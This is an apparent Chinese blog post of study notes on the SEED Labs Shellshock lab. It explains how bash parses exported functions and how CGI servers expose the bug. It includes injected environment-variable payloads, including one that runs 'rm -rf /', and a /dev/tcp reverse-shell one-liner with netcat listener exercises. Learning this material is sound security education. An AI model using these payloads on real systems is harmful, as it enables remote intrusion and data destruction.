本文主要是介绍seed-labs 软件部分-shellshock,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
seed-labs 软件部分- shellshock
- shellshock
- 背景
- shellshock 漏洞
- 定义
- 漏洞
- bash源码中的错误
- shellshock漏洞利用
- 利用shellshock攻击CGI程序
- web服务器调用CGI程序
- 反向shell
- problems
shellshock
背景
Shell程序是操作系统中的命令行解释器
提供用户和操作系统之间的接口
不同类型的shell:sh、bash、csh、zsh、windows powershell等
bashshell是Linux操作系统中最流行的shell程序之一
shellshock漏洞与shell函数有关。
declare 可以将shell函数打印出来
foo() { echo "hello world"; }
[06/02/21]seed@VM:~/shellshock$ declare -f foo
foo ()
{ echo "hello world"
}
[06/02/21]seed@VM:~/shellshock$ export -f foo
[06/02/21]seed@VM:~/shellshock$ bash
[06/02/21]seed@VM:~/shellshock$ declare -f foo
foo ()
{ echo "hello world"
}
这两种方法是相似的。它们都使用环境变量。
程序:
在第一种方法中,当父shell创建新进程时,它将每个导出的函数定义作为环境变量传递。
如果子进程运行bash,bash程序将把环境变量转换回函数定义,就像在第二个方法中定义的那样。
第二种方法不要求父进程是shell进程。
任何需要将函数定义传递给子bash进程的进程都可以简单地使用环境变量。
shellshock 漏洞
定义
名为Shellshock或bashdoor的漏洞已于2014年9月24日公开发布。此漏洞被分配为CVE-2014-6271
此漏洞利用了bash在将环境变量转换为函数定义时犯下的错误
自1989年8月5日以来,发现的bug一直存在于gnubash源代码中
在识别出这个bug之后,在广泛使用的bash shell中发现了其他几个bug
Shellshock是指在bash中发现的一系列安全漏洞
漏洞
[06/02/21]seed@VM:~/shellshock$ foo='() { echo "hello world"; }; echo "extra";'
[06/02/21]seed@VM:~/shellshock$ echo $foo
() { echo "hello world"; }; echo "extra";
[06/02/21]seed@VM:~/shellshock$ bash_shellshock ##echo "extra" 额外的漏洞被执行了。当一个子bash进程被创建时。子shell将会解析为该变量,把它转化为函数定义,所以由于shellshock漏洞,bash 将执行括号后的额外命令
[06/02/21]seed@VM:~/shellshock$ export foo
[06/02/21]seed@VM:~/shellshock$ bash_shellshock
[06/02/21]seed@VM:~/shellshock$ echo $foo
bash源码中的错误
shellshock bug从bash源代码的variables.c文件开始,下面是一部门源码
在这个代码中,在第行①, bash通过检查环境变量的值是否以“(){”开头来检查是否有导出的函数。一旦找到,bash将用空格替换“=”。
Bash然后调用函数parse和execute()②) 解析函数定义。不幸的是,这个函数可以解析其他shell命令,而不仅仅是函数定义
如果字符串是函数定义,函数将只解析它而不执行它
如果字符串包含shell命令,函数将执行它。
shellshock漏洞利用
利用shellshock漏洞攻击需要满足2个条件,首先,必须运行bash,其次,攻击者只能通过环境变量把攻击数据传给目标进程,
利用shellshock攻击CGI程序
公共网关接口(CGI)被web服务器用来运行动态生成web页面的可执行程序。
许多CGI程序使用shell脚本,如果使用bash,它们可能会受到shell攻击
其中apache ,c,python都是支持CGI的, 提供的seedlabs环境包含了apache ,所以我们可以直接用
sudo vi /usr/lib/cgi-bin/test.cgi#!/bin/bashecho "Content-type: text/plain"
echo
echo
echo "Hello World"sudo chmod 755 test.cgi
最后就可以访问
[06/03/21]seed@VM:~/shellshock$ curl http://10.0.2.15/cgi-bin/test.cgiHello World
web服务器调用CGI程序
当用户向apacheweb服务器发送cgiurl时,Apache将检查请求
如果是CGI请求,Apache将使用fork()启动一个新进程,然后使用exec()函数执行CGI程序
因为我们的CGI程序是以“#”/bin/bash”,exec()实际执行/bin/bash,然后运行shell脚本
反向shell
攻击者现在可以运行他们喜欢的任何命令,并在他们的机器上得到输出。
不用运行/bin/ls,我们可以运行/bin/bash。但是,/bin/bash命令是交互式的。
如果我们只是将/bin/bash放在我们的漏洞中,bash将在服务器端执行,但我们无法控制它。因此,我们需要做一些叫做反向shell的事情。
反向shell的关键思想是将标准的输入、输出和错误设备重定向到网络连接。
通过这种方式,shell从连接获取输入并输出到连接。攻击者现在可以运行他们喜欢的任何命令并在他们的机器上获得输出。
反向shell是许多攻击使用的一种非常常见的黑客技术。
反向shell的关键是重定向标准输入,输出和错误设备到一个网络连接,此后,shell就可以从网络连接那里获得输入,也可以将输出写入这个网络连接,
在攻击者端可以
server(192.168.31.161):$ /bin/bash -i > /dev/tcp/10.0.2.15/9090/ 0<&1 2>$1
/bin/bash -i : -i 意味着使用shell的可交互模式,shell在这个模式下会提供提示符>/dev/tcp/10.0.2.15/9090 shell 的输出设备stdout被重定向到tcp连接,10.0.2.15 9090 端口,文件描述符是1
>0<&1 0 代表输入设备,这是表示,将标准输出设备也作为标准输入设备。重定向至TCP连接,
TCP连接是个双向设备,既可以写,也可往外读2>&1 文件描述符2代表标准错误,这使得错误输出被重定向至stdout
problems
地址 handsonsecurity.net/files/problems/Shellshock_ex.pdf1.在修复漏洞之前,子进程中将不存在该变量,但会有一个变量名为的函数,函数体将是该变量的值。
修复漏洞后,子shell将具有与父shell相同的变量。2、父shell创建进程时,会将每个导出的函数作为环境变量传递。当子进程运行bash(或者子进程本身是bash)时,它将解析环境变量并将其转换回函数。这是因为子进程获取父环境变量的副本。3、seed@ubuntu:~$ export foo='() { echo Hello World; }; rm -rf /'
seed@ubuntu:~$ bash
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe4、seed@ubuntu:~$ export foo='echo world; () { echo hello;}'
seed@ubuntu:~$ bashseed@ubuntu:~$ foo
foo: command not found
seed@ubuntu:~$ echo $foo
echo world; () { echo hello;}5、 1.目标进程应该运行bash。2.进程必须从外部获取一些环境变量,例如不受信任的用户。6、像Apache这样的web服务器将客户端头信息(如用户代理)作为环境变量传递给它们调用的CGI程序。例如,通过手动设置用户代理字段,我们可以确保在远程计算机上有一个环境变量,该变量的值由我们选择。7、不存在。bash漏洞的存在是因为它在环境变量的值的开头查找字符串“(){”,如果匹配,它会将其视为函数并继续对其进行解析。bash看起来不像函数定义,它将把它当作一个简单的字符串,而不运行命令。8、
nc-L7070将监听端口7070上的传入连接。/bin/cat命令很奇怪 /dev。。。将接受来自远程机器的输入,但将其输出回STDIN,这种情况下是远程机器。
所以在机器1中输入的任何内容都会在屏幕上回响。9、Machine2:
$ nc -l 7070Machine3:
$ nc -l 7070Machine 1:
$ /bin/cat < /dev/tcp/Machine2/7070 > /dev/tcp/Machine3/7070
这篇关于seed-labs 软件部分-shellshock的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!